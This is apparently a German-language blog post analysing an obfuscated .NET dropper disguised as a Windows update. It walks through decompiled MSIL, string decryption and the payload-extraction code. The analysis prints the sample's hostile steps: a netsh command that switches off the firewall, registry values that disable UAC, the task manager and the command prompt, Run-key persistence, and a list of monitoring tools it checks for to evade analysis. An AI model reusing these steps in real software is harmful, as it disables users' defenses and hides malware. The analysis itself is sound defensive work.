Bösartige WindowsXP-7-VIS-v3-x86-DEU.exe mal unter die Lupe genommen
Gestern schickte mir ein Freund eine sehr fragwuerdige datei „WindowsXP-7-VIS-v3-x86-DEU.exe“ diese ist in.NET geschrieben worden, seltsam seit wann erstellt Microsoft seine Updates mit .NET und dazu auch noch Obfuscated??
Result: 1 /43 (2.3%)
Bei genauerem betrachten enthaelt diese exe zwei Dateien, die als Base64-Codiert in denn Ressourcen versteckt sind.
Result: 0/ 43 (0.0%)
0 von 43..mhh.. ok! Nach dem ich wirklich lange gesucht habe, was dort drin versteckt sein koennte. Musste ich einsehen Virus-total hat recht, mehr als ein kleines Fensterchen passiert einfach nicht. Obwohl soviele Objekte in dieser exe enthalten, die einfach nicht verwendet werden.
Als zur zweiten Datei.
Result: 2 /43 (4.7%)
Jaa zwei haben es als Schaedling erkannt, dass muss es einfach sein. Ok ran ans decompilieren, ohh ildasm.exe (Der Decompilier von Microsoft selbst) sagt mir nur „Geschuetztes Modul — kann nicht aufgeloest werden“. Was haben wir gelernt? Microsoft ist offensichtlich auf der Seite der Boesen.
„Red Gate’s .NET Reflector“ verkraftet das Kompilat nicht da, alle Klassen und variablen in lustige Utf8 Zeichen konvertierte wurden. Da ich gluecklicherweise vor langer Zeit einen eigenen decompilier geschrieben habe muss der ans Werk. Aus diesem faellt zwar nur MSIL-Opcode raus, dafuer ist das Utf8-Problem geloest.
Nun endlich am spannenden Part angekommen: Die Quellen.
public static void start(string[]) { locals: V0: System.Threading.Thread .... V24: object[] ldsfld string Root.Main.str1 ldsfld string Root.Main.str2 call bool System.String.op_Equality(string, string) brfalse label_54 call void Root.Main.a() ldsfld bool Root.Main.bool16 brfalse label_5
Erst etwas Statik, die Funktion „Main.a“ wird verhaeltnismaessig oft aufgerufen.
private static void a() { ldc.i4 -1727270941 call string Root.e.a(int) call void System.Console.Write(string) ret }
Die klasse e einhaelt ein Dictionary und kann aus einem int ein String machen. Wie zuerwarten wird hier versucht klar lesbare Strings zu vermeiden.
Hier nur ein kleiner ausschnitt davon, da es sonst den Rahmen spraengen wuerde, bei interesse oder offnen Fragen schreibt mir einfach eine email.
internal static string a(int) { { .... label_13: ldstr "\u200B\u2002\u2003\u2005\u2006\u2000\u2003\u2004\u2000\u200A" callvirt System.IO.Stream System.Reflection.Assembly.GetManifestResourceStream(string) newobj System.IO.BinaryReader..ctor(System.IO.Stream) stsfld System.IO.BinaryReader Root.e.binaryreader ldsfld System.IO.BinaryReader Root.e.binaryreader callvirt short System.IO.BinaryReader.ReadInt16() ldc.i4 11839 xor conv.i2 stloc.s V_4 br.s label_8 .... }
Fals der int nicht im Dictionary enthalten ist, wird ein Stream aus den Resourcen geladen und gelesen. Die ersten Zwei Bytes geben an ob der Stream mit dem PublicToken der Assembly verschluesselt wurde. Gluecklicherweise ist das bei uns nich der Fall, aber alles ist dafuer vorgesehen.
... label_17: ldarg.0 ldc.i4 -1727270937 xor stloc.s V_6 ldsfld System.IO.BinaryReader Root.e.binaryreader callvirt System.IO.Stream System.IO.BinaryReader.get_BaseStream() ldloc.s V_6 conv.i8 callvirt void System.IO.Stream.set_Position(long) ldsfld byte[] Root.e.buff1 brfalse.s label_18 ldsfld byte[] Root.e.buff1 stloc.s V_7 br.s label_22 ... label_23: ldloc.s V_7 ldsfld System.IO.BinaryReader Root.e.binaryreader ldloc.s V_9 callvirt byte[] System.IO.BinaryReader.ReadBytes(int) call byte[] Root.d.a(byte[], byte[]) stloc.s V_11 ldsfld byte[] Root.e.buff2 .... label_28: .... ldloc.s V_14 char[]) stloc.1 ....
Anhand der Uebergebenem int’s wird die Position im Stream berechnet und gesetzt. Im label_23 wird der „gepackt/gecryptete“ stream gelesen und der Klasse d.a uebergeben, diese wuerfelt spannend mit einigen Zahlen durch die gegen, spuckt danach einen byte array aus. Nach dem nochmal einige xor-magische werte auf diesem byte array angewendet wurden landet dieser im label_28 und wird dort zu einem String konvertiert.
Zurueck zu unser „Root.Main.a“ funktion. Nun koennen wir die Zahl -1727270941 ersetzen.
private static void a() { call void System.Console.Write("4th3l4lz") ret }
Meine leed-sprache Kenntnisse halten sich in grenzen, aber es sieht lustig aus. Schauen wir uns weiter die Main Funktion an.
public static void start(string[]) { ... label_5: call void Root.Main.a() try { call bool System.Diagnostics.Debugger.get_IsAttached() leave label_54 } catch (object) {} ... label_XX: try { ldc.i4 -1727270952 call string Root.e.a(int) call bool Root.Main.b(string) brfalse label_XX leave label_54 } catch (object) {} ... label_54: ret }
Label_5 sobald wir es in einem Debugger ausfuehren springt er direkt zum Label_54 und vorbei ist. Label_XX wiederholt sich recht oft und bekommt unterschiedliche strings uebergeben. Es sieht aus als wenn es unheimlich schlecht mit strg+c und strg+v geschrieben wurde, moeglich waere auch das Visual Studio eine Funktion in-line Compiliert hat. Doch habe ich soetwas noch nicht gesehen.
Die Funktion Root.Main.b gibt den wert von System.Diagnostics.Process.GetProcessesByName(string) zurueck, sobald ein Process mit diesen Namen laeuft beendet sich das Programm sofort.
- NETSTAT
- TEST
- [#] TEST [#]
- FILEMON
- PROCMON
- REGMON
- CAIN
- NETMON
- TCPVIEW
Danach wird eine exe aus den den Resourcen geladen mit dem Namen „file“ base64 decoded und ausgefuehrt, spaeter dazu mehr.
Weiter hin werden einige Registery-Keys gesetzt oder erstellt.
... call void Root.Main.a() "4th3l4lz" :D ldsfld bool Root.Main.bool17 brfalse label_49 try { ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry.CurrentUser ldc.i4 -1727271042 call string Root.e.a(int) ldc.i4.1 callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey.OpenSubKey(string, bool) ldc.i4 -1727271108 call string Root.e.a(int) ldc.i4 -1727271148 call string Root.e.a(int) ldc.i4.4 callvirt void Microsoft.Win32.RegistryKey.SetValue(string, object, Microsoft.Win32.RegistryValueKind) } catch (object) {} ...
Folgende werte werden unter CurrentUser gesetzt oder erstellt.
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
EnableBalloonTips = 0
Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA = 0
Software\Policies\Microsoft\Windows\System
DisableCMD = 2
Software\Microsoft\Windows\CurrentVersion\Policies\System
DisableRegistryTools = 1
DisableTaskMgr = 1
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Hidden = 2
Danach wird die Interne-Firewall von Microsoft abgeschlatet.
newobj System.Diagnostics.Process..ctor() stloc.s V_10 ldloc.s V_10 callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process.get_StartInfo() ldc.i4 -1727271310 "Netsh" call string Root.e.a(int) callvirt void System.Diagnostics.ProcessStartInfo.set_FileName(string) ldloc.s V_10 callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process.get_StartInfo() ldc.i4 -1727271354 "Advfirewall set Currentprofile State off" call string Root.e.a(int) callvirt void System.Diagnostics.ProcessStartInfo.set_Arguments(string) ldloc.s V_10 callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process.get_StartInfo() ldc.i4.0 callvirt void System.Diagnostics.ProcessStartInfo.set_UseShellExecute(bool) ldloc.s V_10 callvirt System.Diagnostics.ProcessStartInfo System.Diagnostics.Process.get_StartInfo() ldc.i4.1 callvirt void System.Diagnostics.ProcessStartInfo.set_CreateNoWindow(bool) ldloc.s V_10 callvirt bool System.Diagnostics.Process.Start() pop
Nach dem alle diese Werte gesetzt worden, erstellt die Exe eine kopie von sich im Temp-Verzeichnis mit dem Namen „sXUKi2vZ27aw.exe“.
try { call System.Diagnostics.Process System.Diagnostics.Process.GetCurrentProcess() callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process.get_MainModule() callvirt string System.Diagnostics.ProcessModule.get_FileName() .... ldc.i4 -1727271438 "TEMP" call string Root.e.a(int) call string System.Environment.GetEnvironmentVariable(string) ldc.i4 -1727271481 "sXUKi2vZ27aw.exe" call string Root.e.a(int) ldsfld string Root.Main.str5 call string System.String.Concat(string, string, string) ldc.i4.2 newobj System.IO.FileStream..ctor(string, System.IO.FileMode) .... ldc.i4.2 call void System.IO.File.SetAttributes(string, System.IO.FileAttributes) ldc.i4.s 26 call string System.Environment.GetFolderPath(System.Environment.SpecialFolder) ....
Diese erstellte exe wird in der Registrie im Autorun unter
Software\Microsoft\Windows\CurrentVersion\Run
Audio HD Driver=$TEMP\sXUKi2vZ27aw.exe
und
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Audio HD Driver=$TEMP\sXUKi2vZ27aw.exe
Eingetragen.
Ergebniss:
92K .net Quellen nur um die Datei im Resourcen-stream zu starten.
Ich glaube das dieses .NET-Projekt, irgendwo in den Dunklenseiten des Internets ist jemanden aermer und jemand etwas reicher gemacht hat. Alles deutet darauf hin, das dies ein Baukasten ist um seine maleware zuverteilen. Die Haupt-Klasse hat 27 Boolische werte mit dem sie ihr verhalten aendern kann, die „Verschluesselung“ der Strings ist erweiterbar. Der Dateiname der kopie im Temp-Verzeichnis NICHT!.
Result: 5 /42 (11.9%)
Ein kurzer Sandbox-Test bei SunbeltLabs ergibt schnell das es sich um einen Trojaner handel, dem wir uns das naechste mal etwas genauer anschauen.
Schlusswort:
Mein Tipp an den Evil-Hacker
Fuer die die nicht alles durch blicken wollen, einfach nur das ergebniss wollen, bietet .NET einiges. Die EXE kann einfach als Assembly geladen werden und alle Objekte mit ihren Funktionen aufgerufen werden.
Spannender Teil hier ist das alle Objekte Utf8-Namen haben, deshalb suchen wir einfach nach unserer Funktion. Mit einem simplen Invoke erhalten wir den decrypten String.
Auch auf die Resourcen koennen wir ohne Probleme zugreifen. Das lustige ist, wir wissen das keine Infektion stat findet wenn wir es debuggen.
namespace t { class Program { static void Main(string[] args) { Assembly asm = Assembly.LoadFile(@"update.exe"); MethodInfo mi = null; foreach(Type mt in asm.GetTypes()) foreach(MethodInfo tmi in mt.GetMethods(BindingFlags.NonPublic | BindingFlags.Static)) if(tmi.GetParameters().Count() != 0) if((tmi.GetParameters()[0].ParameterType == typeof(int))&&(tmi.ReturnType == typeof(string))) { mi = tmi; break; } string $result = mi.Invoke(null, new object[] { $ZauberInt }) as String; StreamReader sr = new StreamReader(asm.GetManifestResourceStream("file")); byte[] bb = Convert.FromBase64String(sr.ReadToEnd()); sr.Close(); FileStream fs1 = new FileStream("WUUU.exe", FileMode.OpenOrCreate); fs1.Write(bb, 0, bb.Length); fs1.Close(); } } }